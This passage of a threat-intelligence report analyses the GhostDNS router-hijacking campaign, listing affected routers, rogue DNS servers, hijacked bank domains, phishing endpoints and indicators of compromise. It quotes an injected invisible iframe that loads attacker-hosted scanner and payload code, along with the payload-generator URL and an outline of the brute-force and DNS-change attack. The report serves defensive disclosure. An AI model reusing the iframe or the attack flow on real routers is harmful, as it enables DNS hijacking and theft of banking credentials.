├── speedstream\n│   ├── speedtouch\n│   ├── speedtouch2\n│   ├── tplink1\n│   ├── tplink2\n│   ├── tplink3\n│   ├── triz\n│   └── viking\n├── configs\n├── logs\n├── mdetector\n├── mikrotik\n├── ralink\n├── src\n│   ├── BasicAuth.cpp\n│   ├── Makefile\n│   ├── Net-Telnet-3.03.tar.gz\n│   ├── base64.cpp\n│   ├── config.cpp\n│   ├── fscan.cpp\n│   ├── md5.cpp\n│   ├── md5.h\n│   ├── sockets.cpp\n│   ├── sslscanner.h\n│   ├── ulimit\n│   └── webforms.cpp\n├── .fscan\n└── .timeout\n```\n\nThe following are affected routers/firmwares that we have identified\n```bash\n3COM OCR-812\nAP-ROUTER\nD-LINK\nD-LINK DSL-2640T\nD-LINK DSL-2740R\nD-LINK DSL-500\nD-LINK DSL-500G/DSL-502G\nHuawei SmartAX MT880a\nIntelbras WRN240-1\nKaiomy Router\nMikroTiK Routers\nOIWTECH OIW-2415CPE\nRalink Routers\nSpeedStream\nSpeedTouch\nTenda\nTP-LINK TD-W8901G/TD-W8961ND/TD-8816\nTP-LINK TD-W8960N\nTP-LINK TL-WR740N\nTRIZ TZ5500E/VIKING\nVIKING/DSLINK 200 U/E\n```\n\n####The Js DNSChanger sub-module\n\nJs DNSChanger is mainly written in Javascript. It involves 10 attack scripts, which can infect 6 routers/firmware. Its functional structure is mainly divided into scanners, payload generators and attack programs. The Js DNSChanger program is usually injected into phishing websites, so it works together with the Pishing Web System.\n\nFor example, a Js DNSChanger code on the home page of `35.236.25.247` (the title of the website is: Convertidor Youtube Mp3 | Mp3 youtube).\n\n```html\n<iframe src=\"http://193.70.95.89/2021/\" frameborder=\"0\" height=\"0\" scrolling=\"no\" title=\"no\" width=\"0\"></iframe>\n```\n\nThe attacker uses the Image() function to perform port scan on a list of predefined intranet IP addresses commonly used by routers. If the port is detected to be open, the corresponding intranet IP will be passed along to the payload generator.\n\n```\n#Scanner\nhttp://193.70.95.89/2021/index2.php\n```\n\nThe payload generator generates Base64 encoded payload based on the router IP and Rogue DNS IP. The payload includes the attacker program, and is run in the form of Data URI Scheme.\n\n```\n#Payload generator\nhttp://193.70.95.89/2021/api.init.php?d=192.168.1.1\n```\n\nThe attacker program in the payload constructs http requests via jQuery.ajax. These requests perform password guessing on the web authentication page of these routers, and then changes the default DNS address of the router to the Rogue DNS Server through the corresponding DNS configuration interface.\n\nThe following is part of the code structure of JS DNSChanger:\n```bash\n├── api.init.php\n├── index.php\n└── index2.php\n```\n\nThe following are affected routers/firmwares that we identified\n```bash\nA-Link WL54AP3 / WL54AP2\nD-Link DIR-905L\nRoteador GWR-120\nSecutech RiS Firmware\nSMARTGATE\nTP-Link TL-WR841N / TL-WR841ND\n```\n\nThe following is the IP range it scans\n```\n192.168.0.1\n192.168.15.1\n192.168.1.1\n192.168.25.1\n192.168.100.1\n10.0.0.1\n192.168.2.1\n```\n\n####The PyPhp DNSChanger sub-module\n\nPyPhp DNSChanger is the core module of DNSChanger, we have observed that the attacker has deployed this program on 100+ servers, most of which on Google Cloud. This sub-module was developed around 2018-04-26, using both python and php. It mainly composes of three parts:\n\nWeb API. Through which attacker can control and schedule to run the program conveniently.\n\nScanner. The scanner utilizes both Masscan port scanning and Shodan API service (to pick specific banners) to obtain target router IPs located only in Brazil. It is interesting that the Shodan API Key here is also being used by another education and research project on Github. We suspect that this Shodan API key is leaked and abused by attacker.\n\nInformation of the Shodan API key is as follow:\n```bash\nAPI key: LI****Lg9P8****X5iy****AaRO\nCreated: 2017-11-03T16:55:13.425000\nPlan: EDU\n```\n\nAttack Module. The attack module totally includes 69 attack scripts against 47 different routers/firmwares. It collects active router IPs from scanner and launchs Web authentication bruteforce or dnscfg.cgi vulnerability exploits to bypass authentication, after that it will change the routers' default DNS resolver to the rogue DNS server, which is used to hijack specific websites for phishing.\nInterestingly, we discovered that the PyPhp DNSChanger node has some nice infection statistics, from which we can see the current infection details on each node. Below is a site screenshot.\n\n\n\n\nThe code structure of PyPhp DNSChanger\n```bash\n├── api\n├── application\n│   ├── class\n│   │   ├── routers\n│   │   │   ├── routers.28ZE.php\n│   │   │   ├── routers.AN5506-02-B.php\n│   │   │   ├── routers.ELSYSCPE-2N.php\n│   │   │   ├── routers.PQWS2401.php\n│   │   │   ├── routers.TLWR840N.php\n│   │   │   ├── routers.WR941ND.php\n│   │   │   ├── routers.airos.php\n│   │   │   ├── routers.c3t.php\n│   │   │   ├── routers.cisconew.php\n│   │   │   ├── routers.dlink.905.php\n│   │   │   ├── routers.dlink.dir600.php\n│   │   │   ├── routers.dlink.dir610.php\n│   │   │   ├── routers.dlink.dir610o.php\n│   │   │   ├── routers.dlink.dir615.php\n│   │   │   ├── routers.fiberhome.php\n│   │   │   ├── routers.fiberhomenew.php\n│   │   │   ├── routers.ghotanboa.php\n│   │   │   ├── routers.goahed.php\n│   │   │   ├── routers.greatek.php\n│   │   │   ├── routers.greatek2.php\n│   │   │   ├── routers.gwr120.php\n│   │   │   ├── routers.huawei.php\n│   │   │   ├── routers.intelbras.php\n│   │   │   ├── routers.intelbras.wrn240.php\n│   │   │   ├── routers.intelbras.wrn300.php\n│   │   │   ├── routers.intelbrasN150.php\n│   │   │   ├── routers.linkone.php\n│   │   │   ├── routers.livetimdslbasic.php\n│   │   │   ├── routers.livetimsagecom.php\n│   │   │   ├── routers.mikrotkit.php\n│   │   │   ├── routers.multilaser.php\n│   │   │   ├── routers.oiwtech.php\n│   │   │   ├── routers.othermodels.php\n│   │   │   ├── routers.sharecenter.php\n│   │   │   ├── routers.thomson.php\n│   │   │   ├── routers.timdsl.php\n│   │   │   ├── routers.timvmg3312.php\n│   │   │   ├── routers.wirelessnrouter.php\n│   │   │   ├── routers.wrn1043nd.php\n│   │   │   ├── routers.wrn342.php\n│   │   │   ├── routers.wrn720n.php\n│   │   │   ├── routers.wrn740n.php\n│   │   │   ├── routers.wrn749n.php\n│   │   │   ├── routers.wrn840n.php\n│   │   │   ├── routers.wrn841n.php\n│   │   │   └── routers.wrn845n.php\n│   │   ├── routers_py\n│   │   │   ├── WR300build8333.py\n│   │   │   ├── install.sh\n│   │   │   ├── router.ArcherC7.py\n│   │   │   ├── router.FiberLink101.py\n│   │   │   ├── router.GEPONONU.py\n│   │   │   ├── router.PNRT150M.py\n│   │   │   ├── router.QBR1041WU.py\n│   │   │   ├── router.RoteadorWirelessN300Mbps.py\n│   │   │   ├── router.SAPIDORB1830.py\n│   │   │   ├── router.TENDAWirelessNBroadbandrouter.py\n│   │   │   ├── router.TLWR840N.py\n│   │   │   ├── router.TLWR841N.py\n│   │   │   ├── router.TLWR849N.py\n│   │   │   ├── router.TPLINKWR841N.py\n│   │   │   ├── router.TechnicLanWAR54GSv2.py\n│   │   │   ├── router.TendaWirelessRouter.py\n│   │   │   ├── router.WEBManagementSystem.py\n│   │   │   ├── router.WLANBroadbandRouter.py\n│   │   │   ├── router.WebUI.py\n│   │   │   ├── router.WirelessNWRN150R.py\n│   │   │   ├── router.WirelessRouter.py\n│   │   │   ├── router.WiveNGMTrouterfirmware.py\n│   │   │   ├── router.ZXHNH208N.py\n│   │   │   └── scan\n│   │   │   ├── __init__.py\n│   │   │   └── password.py\n│   │   ├── scanner\n│   │   │   └── class.scanner.utils.php\n│   │   ├── shodan\n│   │   │   ├── class.shodan.php\n│   │   │   └── cookie.txt\n│   │   ├── utils\n│   │   │   ├── class.colors.php\n│   │   │   ├── class.utils.php\n│   │   │   └── class.webrequest.php\n│   │   └── web\n│   │   ├── blockedtitles\n│   │   ├── class.web.api.php\n│   │   └── class.web.interface.php\n│   ├── config.bruteforce.php\n│   ├── config.init.php\n│   ├── config.layout.php\n│   ├── config.rangelist - bkp.php\n│   ├── config.rangelist.php\n│   ├── config.routers.php\n│   ├── config.scanner.php\n│   ├── launchers\n│   │   └── attack\n│   │   └── launch\n│   └── logs\n├── logs\n│   ├── change.log\n│   └── gravar.php\n├── parse_logs\n└── scanner\n ├── api.php\n ├── extrator.php\n ├── ranged_scanner.php\n ├── rodar.php\n ├── rodarlista.php\n ├── shodan.php\n └── teste.py\n```\n\nThe affected router/firmware we have identified\n```\nAirRouter AirOS\nAntena PQWS2401\nC3-TECH Router\nCisco Router\nD-Link DIR-600\nD-Link DIR-610\nD-Link DIR-615\nD-Link DIR-905L\nD-Link ShareCenter\nElsys CPE-2n\nFiberhome\nFiberhome AN5506-02-B\nFiberlink 101\nGPON ONU\nGreatek\nGWR 120\nHuawei\nIntelbras WRN 150\nIntelbras WRN 240\nIntelbras WRN 300\nLINKONE\nMikroTik\nMultilaser\nOIWTECH\nPFTP-WR300\nQBR-1041 WU\nRoteador PNRT150M\nRoteador Wireless N 300Mbps\nRoteador WRN150\nRoteador WRN342\nSapido RB-1830\nTECHNIC LAN WAR-54GS\nTenda Wireless-N Broadband Router\nThomson\nTP-Link Archer C7\nTP-Link TL-WR1043ND\nTP-Link TL-WR720N\nTP-Link TL-WR740N\nTP-Link TL-WR749N\nTP-Link TL-WR840N\nTP-Link TL-WR841N\nTP-Link TL-WR845N\nTP-Link TL-WR849N\nTP-Link TL-WR941ND\nWive-NG routers firmware\nZXHN H208N\nZyxel VMG3312\n```\n\n#### The Web Admin System\nWe also have discovered a web admin website on one of the PyPhp DNSChanger node. We do not have too much information about this system yet, but we strongly believe that it is an admin system.\n\n\n\nWe notice a special label \"Elite Priv8\" on the login page of the Web Admin System. After some googling, we found the same description on a post titled \"testador santander banking 2.1 versão beta elitepriv8\" on a Brazilian security forum[[4\\]](http://www.forum-hacker.com.br/archive/index.php/t-537.html). \n\nThe following is the IP address of Web Admin Server\n```\n198.50.222.139\t\"AS16276 OVH SAS\"\n```\n\n#### The Rogue DNS System\nWe have no access to the Rogue DNS server, so we can’t say for sure how many dns names have been hijacked, but by querying both Alexa Top1M and our DNSMon’s Top1M domains against the rogue DNS server (139.60.162.188) , we were able to find a total of 52 domains being hijacked. The hijacked domains mainly involve bank, cloud hosting service as well as a security company named Avira.\n\nBelow is the hijack result details of rogue DNS server (139.60.162.188), note a security company avira.com.br also gets resolved to 0.0.0.0\n```\n{\"domain\": \"avira.com.br\", \"rdata\": [\"0.0.0.0\"]}\n{\"domain\": \"banco.bradesco\", \"rdata\": [\"198.27.121.241\"]}\n{\"domain\": \"bancobrasil.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"bancodobrasil.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"bb.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"bradesco.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"bradesconetempresa.b.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"bradescopj.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"br.wordpress.com\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"caixa.gov.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"citibank.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"clickconta.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"contasuper.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"credicard.com.br\", \"rdata\": [\"198.27.121.241\"]}\n{\"domain\": \"hostgator.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"itau.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"itaupersonnalite.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"kinghost.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"locaweb.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"netflix.com.br\", \"rdata\": [\"35.237.127.167\"]}\n{\"domain\": \"netflix.com\", \"rdata\": [\"35.237.127.167\"]}\n{\"domain\": \"painelhost.uol.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"santander.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"santandernet.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"sicredi.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"superdigital.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"umbler.com\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"uolhost.uol.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.banco.bradesco\", \"rdata\": [\"198.27.121.241\"]}\n{\"domain\": \"www.bancobrasil.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.bb.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.bradesco.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.bradesconetempresa.b.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.bradescopj.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.br.wordpress.com\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.caixa.gov.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.citibank.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.credicard.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.hostgator.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.itau.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.kinghost.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.locaweb.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.netflix.com\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.netflix.net\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.painelhost.uol.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.santander.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.santandernet.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.sicredi.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.superdigital.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.umbler.com\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.uolhost.com.br\", \"rdata\": [\"193.70.95.89\"]}\n{\"domain\": \"www.uolhost.uol.com.br\", \"rdata\": [\"193.70.95.89\"]}\n```\n\nBelow is the list of rogue DNS servers we have discovered.\n```\n139.60.162.188\t \"AS395839 HOSTKEY\"\n139.60.162.201\t \"AS395839 HOSTKEY\"\n144.22.104.185\t \"AS7160 Oracle Corporation\"\n173.82.168.104\t \"AS35916 MULTACOM CORPORATION\"\n18.223.2.98\t \"AS16509 Amazon.com, Inc.\"\n185.70.186.4\t \"AS57043 Hostkey B.v.\"\n192.99.187.193\t \"AS16276 OVH SAS\"\n198.27.121.241\t \"AS16276 OVH SAS\"\n200.196.240.104 \t\"AS11419 Telefonica Data S.A.\"\n200.196.240.120\t \"AS11419 Telefonica Data S.A.\"\n35.185.9.164\t \"AS15169 Google LLC\"\n80.211.37.41\t \"AS31034 Aruba S.p.A.\"\n```\n#### The Phishing Web System\n\nThe rogue DNS server hijacks specific domains and resolves their IP addresses to the Phishing webserver, which will respond the victims with specific phishing sites for the corresponding hostname.\n\nProbing the phising server with the 52 hijacked domains, we were able to discover 19 different phishing websites.\n```\nmd5, url, hostname, pishing web api\n42c3c9b4207b930b414dd6bd64335945 http://193.70.95.89 itau.com.br ['http://193.70.95.89/processar1.php']\n42c3c9b4207b930b414dd6bd64335945 http://193.70.95.89 itaupersonnalite.com.br ['http://193.70.95.89/processar1.php']\n42c3c9b4207b930b414dd6bd64335945 http://193.70.95.89 www.itau.com.br ['http://193.70.95.89/processar1.php']\n4398ceb11b79cbf49a9d300095923382 http://193.70.95.89/login.php umbler.com ['http://193.70.95.89/processa_1.php']\n4398ceb11b79cbf49a9d300095923382 http://193.70.95.89/login.php www.umbler.com ['http://193.70.95.89/processa_1.php']\n492188f294d0adeb309b4d2dd076f1ac http://193.70.95.89 www.credicard.com.br ['http://193.70.95.89/acesso.php']\n492c7af618bd8dcbc791037548f1f8e6 http://193.70.95.89 sicredi.com.br ['http://193.70.95.89/salvar.php']\n492c7af618bd8dcbc791037548f1f8e6 http://193.70.95.89 www.sicredi.com.br ['http://193.70.95.89/salvar.php']\n5838b749436a5730b0112a81d6818915 http://193.70.95.89 bradesconetempresa.b.br ['http://193.70.95.89/processa_2.php', 'http://193.70.95.89/enviar_certificado_1.php']\n70b8d0f46502d34ab376a02eab8b5ad7 http://193.70.95.89/default.html locaweb.com.br ['http://193.70.95.89/salvar.php']\n70b8d0f46502d34ab376a02eab8b5ad7 http://193.70.95.89/default.html www.locaweb.com.br ['http://193.70.95.89/salvar.php']\n748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html bancobrasil.com.br ['http://193.70.95.89/processar_1.php']\n748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html bancodobrasil.com.br ['http://193.70.95.89/processar_1.php']\n748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html bb.com.br ['http://193.70.95.89/processar_1.php']\n748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html www.bancobrasil.com.br ['http://193.70.95.89/processar_1.php']\n748322f4b63efbb9032d52e60a87837d http://193.70.95.89/login.html www.bb.com.br ['http://193.70.95.89/processar_1.php']\n8e94b7700dde45fbb42cdecb9ca3ac4e http://193.70.95.89/BRGCB/JPS/portal/Index.do.shtml citibank.com.br ['http://193.70.95.89/BRGCB/JPS/portal/Home.do.php']\n8e94b7700dde45fbb42cdecb9ca3ac4e http://193.70.95.89/BRGCB/JPS/portal/Index.do.shtml www.citibank.com.br ['http://193.70.95.89/BRGCB/JPS/portal/Home.do.php']\n97c8abea16e96fe1222d44962d6a7f89 http://193.70.95.89 www.bradesco.com.br ['http://193.70.95.89/identificacao.php']\n9882ea325c529bf75cf95d0935b4dba0 http://193.70.95.89 www.bradescopj.com.br ['http://193.70.95.89/processa_2.php', 'http://193.70.95.89/enviar_certificado_1.php']\na80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php painelhost.uol.com.br ['http://193.70.95.89/processa_1.php']\na80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php uolhost.uol.com.br ['http://193.70.95.89/processa_1.php']\na80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php www.painelhost.uol.com.br ['http://193.70.95.89/processa_1.php']\na80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php www.uolhost.com.br ['http://193.70.95.89/processa_1.php']\na80dbfbca39755657819f6a188c639e3 http://193.70.95.89/login.php www.uolhost.uol.com.br ['http://193.70.95.89/processa_1.php']\nabcfef26e244c96a16a4577c84004a8f http://193.70.95.89 santander.com.br ['http://193.70.95.89/processar_pj_1.php', 'http://193.70.95.89/processar_1.php']\nabcfef26e244c96a16a4577c84004a8f http://193.70.95.89 santandernet.com.br ['http://193.70.95.89/processar_pj_1.php', 'http://193.70.95.89/processar_1.php']\nabcfef26e244c96a16a4577c84004a8f http://193.70.95.89 www.santander.com.br ['http://193.70.95.89/processar_pj_1.php', 'http://193.70.95.89/processar_1.php']\nabcfef26e244c96a16a4577c84004a8f http://193.70.95.89 www.santandernet.com.br ['http://193.70.95.89/processar_pj_1.php', 'http://193.70.95.89/processar_1.php']\ncf8591654e638917e3f1fb16cf7980e1 http://193.70.95.89 contasuper.com.br ['http://193.70.95.89/processar_1.php']\ncf8591654e638917e3f1fb16cf7980e1 http://193.70.95.89 superdigital.com.br ['http://193.70.95.89/processar_1.php']\ncf8591654e638917e3f1fb16cf7980e1 http://193.70.95.89 www.superdigital.com.br ['http://193.70.95.89/processar_1.php']\nd01f5b9171816871a3c1d430d255591b http://193.70.95.89 www.bradesconetempresa.b.br ['http://193.70.95.89/processa_2.php', 'http://193.70.95.89/enviar_certificado_1.php']\nf71361a52cc47e2b19ec989c3c5af662 http://193.70.95.89 kinghost.com.br ['http://193.70.95.89/processa_1.php']\nf71361a52cc47e2b19ec989c3c5af662 http://193.70.95.89 www.kinghost.com.br ['http://193.70.95.89/processa_1.php']\nfbb4691da52a63baaf1c8fc2f4cb5d2d http://193.70.95.89 www.netflix.com ['http://193.70.95.89/envio.php']\nffd3708c786fbb5cfa239a79b45fe45b http://193.70.95.89 bradescopj.com.br ['http://193.70.95.89/processa_2.php', 'http://193.70.95.89/enviar_certificado_1.php']\nffecab7ab327133580f607112760a7e2 http://193.70.95.89 clickconta.com.br ['http://193.70.95.89/identificacao.php']\n```\n\nBelow is the IP addresses of the phishing webserver.\n```\n193.70.95.89\t \"AS16276 OVH SAS\"\n198.27.121.241\t\"AS16276 OVH SAS\"\n35.237.127.167\t\"AS15169 Google LLC\"\n```\n\n\n\n### Statistics of Infected Routers\n\nBased on the logs of GhostDNS from 09-21 to 09-27, we have observed 100k+ infected router IP addresses (87.8% located in Brazil), involving 70+ router/firmwares. Due to the dynamic updates of router IP address, the actual number of infected devices should be slightly different.\n\n\n\nBelow is the country list of infected IP addresses.\n```\nBR 91605\nBO 7644\nAR 2581\nSX 339\nMX 265\nVE 219\nUS 191\nUY 189\nCL 138\nCO 134\nGT 80\nEC 71\nGY 70\nRU 61\nRO 51\nPY 38\nPA 35\nUA 34\nHN 33\nBG 33\n```\n\nBelow is the list of web page titles from infected routers.\n```\n28ZE\nADSL2 PLUS\nAIROS\nAN550602B\nBaseDashboard\nC3T Routers\nDIR600 1\nDIR-615 DLINK\nDlink DIR-610\nDlink DIR-611\nDLINK DIR-905L\nDSL Router\nDSL Router - GKM 1220\nELSYS CPE-2N\nFiberHome AN5506-02-B, hardware: GJ-2.134.321B7G, firmware: RP2520\nFiberLink101\nGoAhead-Boa\nGoAhead-Webs\nGoAhead-Webs Routers\nGoAhed 302\nGOTHAN\nGREATEK\nGWR-120\nKP8696X\nLink One\nMini_httpd\nMultilaser Router\nOIWTECH\nProqualit Router\nRealtek Semiconductor\nRealtek Semiconductor [Title]\nRoteador ADSL\nRoteador Wireless KLR 300N\nRoteador Wireless N 150Mbps\nRoteador Wireless N 150 Mbps\nRoteador Wireless N 300 Mbps\nRoteador Wireless N 300 Mbps [ LinkOne ] \nRoteador Wireless N 300 Mbps [Link One]\nRoteador Wireless N ( MultiLaser )\nRoteador Wireless N [ MultiLaser ]\nTENDA\nTimDSL\nTL-WR740N / TL-WR741ND\nTL-WR840N\nTL-WR849N\nTP-LINK Nano WR702N\nTP-LINK Roteador Wireless\nTP-LINK Roteador Wireless N WR741ND\nTP-LINK TL-WR941HP\nTP-LINK Wireless AP WA5210G\nTP-LINK Wireless Lite N Router WR740N\nTP-LINK Wireless Lite N Router WR749N\nTP-LINK Wireless N Gigabit Router WR1043ND\nTP-LINK Wireless N Router WR841N/WR841ND\nTP-LINK Wireless N Router WR845N\nTP-LINK Wireless N Router WR941ND\nTP-LINK Wireless Router\nTP-LINK WR340G\nTP-LINK WR720N\nTP-LINK WR740N\nTP-LINK WR741N\nTP-LINK WR743ND\nTP-LINK WR840N\nTP-LINK WR841HP\nTP-LINK WR841N\nTP-LINK WR940N\nTP-LINK WR941N\nTP-LINK WR949N\nWireless-N Router\nWireless Router\nWLAN AP Webserver\nZNID\n```\n\n\n\n### Summary\nThe GhostDNS system poses a real threat to Internet. It is highly scaled, utilizes diverse attack vector, adopts automated attack process.\n\nWe recommend the broadband users in Brazil to update their router systems, check if the router's default DNS server is changed and set more complicated password for router web portal. \n\nWe also recommend the router vendors to increase the complexity of router default password and enhance the system security update mechanism for their products.\n\nRelevant security agencies are welcomed to contact netlab[at]360.cn for a full list of infected IP addresses.\n\n\n#### Contact Us\nReaders are always welcomed to reach us on [**twitter**](https://twitter.com/360Netlab), WeChat 360Netlab or email to netlab at 360 dot cn.\n\nnote:We have informed various ISPs on the IOC list, and OVH, ORACLE, Google, Microsoft have taken down the related IPs and some others are working on it (Thanks!)\n#### IoC list\n```\n#Pishing Web Server\n[takendown] 193.70.95.89 \"AS16276 OVH SAS\"\n[takendown] 198.27.121.241\t \"AS16276 OVH SAS\"\n[takendown] 35.237.127.167\t \"AS15169 Google LLC\"\n\n#Rogue DNS Server\n139.60.162.188\t \"AS395839 HOSTKEY\"\n139.60.162.201\t \"AS395839 HOSTKEY\"\n173.82.168.104\t \"AS35916 MULTACOM CORPORATION\"\n18.223.2.98\t \"AS16509 Amazon.com, Inc.\"\n185.70.186.4\t \"AS57043 Hostkey B.v.\"\n200.196.240.104\t \"AS11419 Telefonica Data S.A.\"\n200.196.240.120\t \"AS11419 Telefonica Data S.A.\"\n80.211.37.41\t \"AS31034 Aruba S.p.A.\"\n[takendown] 35.185.9.164\t \"AS15169 Google LLC\"\n[takendown] 144.22.104.185\t \"AS7160 Oracle Corporation\"\n[takendown] 192.99.187.193\t \"AS16276 OVH SAS\"\n[takendown] 198.27.121.241\t \"AS16276 OVH SAS\"\n\n#Web Admin Server\n[takendown] 198.50.222.139\t \"AS16276 OVH SAS\"\n\n\n#DNSChanger Scanner Server\n[takendown] 104.196.177.180\t \"AS15169 Google LLC\"\n[takendown] 104.196.232.200\t \"AS15169 Google LLC\"\n[takendown] 104.197.106.6\t \"AS15169 Google LLC\"\n[takendown] 104.198.54.181\t \"AS15169 Google LLC\"\n[takendown] 104.198.77.60\t \"AS15169 Google LLC\"\n[takendown] 198.50.222.139\t \"AS16276 OVH SAS\"\n[takendown] 35.185.127.39\t \"AS15169 Google LLC\"\n[takendown] 35.185.9.164\t \"AS15169 Google LLC\"\n[takendown] 35.187.149.224\t \"AS15169 Google LLC\"\n[takendown] 35.187.202.208\t \"AS15169 Google LLC\"\n[takendown] 35.187.238.80\t \"AS15169 Google LLC\"\n[takendown] 35.188.134.185\t \"AS15169 Google LLC\"\n[takendown] 35.189.101.217\t \"AS15169 Google LLC\"\n[takendown] 35.189.125.149\t \"AS15169 Google LLC\"\n[takendown] 35.189.30.127 \"AS15169 Google LLC\"\n[takendown] 35.189.59.155 \"AS15169 Google LLC\"\n[takendown] 35.189.63.168 \"AS15169 Google LLC\"\n[takendown] 35.189.92.68 \"AS15169 Google LLC\"\n[takendown] 35.194.197.94 \"AS15169 Google LLC\"\n[takendown] 35.195.116.90 \"AS15169 Google LLC\"\n[takendown] 35.195.176.44 \"AS15169 Google LLC\"\n[takendown] 35.196.101.227 \"AS15169 Google LLC\"\n[takendown] 35.197.148.253 \"AS15169 Google LLC\"\n[takendown] 35.197.172.214 \"AS15169 Google LLC\"\n[takendown] 35.198.11.42 \"AS15169 Google LLC\"\n[takendown] 35.198.31.197 \"AS15169 Google LLC\"\n[takendown] 35.198.5.34 \"AS15169 Google LLC\"\n[takendown] 35.198.56.227 \"AS15169 Google LLC\"\n[takendown] 35.199.106.0 \"AS15169 Google LLC\"\n[takendown] 35.199.2.186 \"AS15169 Google LLC\"\n[takendown] 35.199.61.19 \"AS15169 Google LLC\"\n[takendown] 35.199.66.147 \"AS15169 Google LLC\"\n[takendown] 35.199.77.82 \"AS15169 Google LLC\"\n[takendown] 35.200.179.26 \"AS15169 Google LLC\"\n[takendown] 35.200.28.69 \"AS15169 Google LLC\"\n[takendown] 35.203.111.239 \"AS15169 Google LLC\"\n[takendown] 35.203.135.65 \"AS15169 Google LLC\"\n[takendown] 35.203.143.138 \"AS15169 Google LLC\"\n[takendown] 35.203.167.224 \"AS15169 Google LLC\"\n[takendown] 35.203.18.30 \"AS15169 Google LLC\"\n[takendown] 35.203.183.182 \"AS15169 Google LLC\"\n[takendown] 35.203.25.136 \"AS15169 Google LLC\"\n[takendown] 35.203.3.16 \"AS15169 Google LLC\"\n[takendown] 35.203.48.110 \"AS15169 Google LLC\"\n[takendown] 35.203.5.160 \"AS15169 Google LLC\"\n[takendown] 35.203.8.203 \"AS15169 Google LLC\"\n[takendown] 35.204.146.109 \"AS15169 Google LLC\"\n[takendown] 35.204.51.103 \"AS15169 Google LLC\"\n[takendown] 35.204.77.160 \"AS15169 Google LLC\"\n[takendown] 35.204.80.189 \"AS15169 Google LLC\"\n[takendown] 35.205.148.72 \"AS15169 Google LLC\"\n[takendown] 35.205.24.104 \"AS15169 Google LLC\"\n[takendown] 35.221.110.75 \"AS19527 Google LLC\"\n[takendown] 35.221.71.123 \"AS19527 Google LLC\"\n[takendown] 35.227.25.22 \"AS15169 Google LLC\"\n[takendown] 35.228.156.223 \"AS15169 Google LLC\"\n[takendown] 35.228.156.99 \"AS15169 Google LLC\"\n[takendown] 35.228.240.14 \"AS15169 Google LLC\"\n[takendown] 35.228.244.19 \"AS15169 Google LLC\"\n[takendown] 35.228.73.198 \"AS15169 Google LLC\"\n[takendown] 35.228.90.15 \"AS15169 Google LLC\"\n[takendown] 35.230.104.237 \"AS15169 Google LLC\"\n[takendown] 35.230.158.25 \"AS15169 Google LLC\"\n[takendown] 35.230.162.54 \"AS15169 Google LLC\"\n[takendown] 35.230.165.35 \"AS15169 Google LLC\"\n[takendown] 35.231.163.40 \"AS15169 Google LLC\"\n[takendown] 35.231.60.255 \"AS15169 Google LLC\"\n[takendown] 35.231.68.186 \"AS15169 Google LLC\"\n[takendown] 35.232.10.244 \"AS15169 Google LLC\"\n[takendown] 35.234.131.31 \"AS15169 Google LLC\"\n[takendown] 35.234.136.116 \"AS15169 Google LLC\"\n[takendown] 35.234.156.85 \"AS15169 Google LLC\"\n[takendown] 35.234.158.120 \"AS15169 Google LLC\"\n[takendown] 35.234.77.117 \"AS15169 Google LLC\"\n[takendown] 35.234.89.25 \"AS15169 Google LLC\"\n[takendown] 35.234.94.97 \"AS15169 Google 